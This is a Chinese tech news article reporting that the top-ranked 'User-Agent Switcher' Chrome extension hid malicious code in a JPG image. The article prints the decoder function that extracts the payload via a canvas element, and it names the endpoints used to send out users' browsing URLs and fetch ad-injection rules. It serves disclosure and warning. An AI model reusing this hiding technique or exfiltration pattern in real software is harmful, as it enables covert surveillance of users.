火速卸载!Chrome 搜索 User-Agent Switcher 排行第一的插件竟是木马

一款名为User-Agent Switcher的Chrome扩展被发现含有恶意代码,该扩展伪装成良性插件,实则将用户浏览信息发送至特定域名,并注入广告及恶意链接。开发者解密图片中的JS代码揭示了这一行为。尽管有些网友认为不能仅凭使用'unsafe-eval'就断定恶意,但多数用户已卸载该插件,寻找安全替代方案。
摘要由CSDN通过智能技术生成

近日,有开发者在 Google Chrome 商店中搜索 User-Agent Switcher(https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake) 这款扩展程序时,竟然发现排行第一(459604位用户)的“User-Agent Switcher”是一个恶意程序,它是由“useragentswitcher.org”提供,而并非“google.com”。

这款 User-Agent Switcher for Google Chrome 页面上的“Report Abuse”(举报滥用情况)其实是一个无用的链接,它表面上显示为良性的 .jpg 文件。事实上,为了绕过 Chrome 的审核策略,作者将恶意代码隐藏在了 promo.jpg 中,当加载到 canvas 元素并以某种方式解码时,就会产生 JS,这些 JS 会将所有用户的 请求发送到某个域,同时还会注入广告并重定向到其从属链接。

开发者@anoymoux 从这个图片里解密出恶意代码并执行:

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }

从而发现,运行完程序就会把用户打开的每个标签的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data

另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码。

对此,不少网友各执己见:

  • gorhill:“User-Agent Switcher for Google Chrome”这个扩展程序清单中有一个“content_security_policy”值,在它的值中包含一个“unsafe-eval”的 CSP 指令,而其本质是扩展上下文中执行任意代码的能力,不能通过读取原文件进行代码审查,因此在清单中声明这种 CSP 指令的任何扩展会被推定为恶意程序,所以想要具体确认还需进一步的调查。
  • horsawlarway:现在很多库和模板依赖于 eval 代码。在从已知和受信任的位置拉取更新和模块的情况下,还有一些(关键字:FEW)是使用 eval 的有效原因。在这些情况下,如果用户在扩展程序中没有使用预先共享的证书来签名服务器端并验证签名,那么还会遇到问题。长话短说,eval 仍然是非常有用的功能,但它需要正确并少量使用。
  • krisgenre :天呐,我一直在用这款扩展!立即删除并在 Chrome 商店查找是否有替代的,后来发现还是应该安装 Google 本身提供的扩展。
  • milankragujevic:很苦恼,我已经安装了这款扩展程序两年了,他们会得到什么信息,会对我做些什么?目前我已经卸载了。
  • krackers :当我发现时,我也有同样的担心。我没有足够的技能来进行完全解码,但是至少我知道它会发送浏览历史和注入广告。现在在安全方面,我已经修改了各种密码。

倘若安装了这款插件也就相当于一直处于黑客的监控之下,细思极恐。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值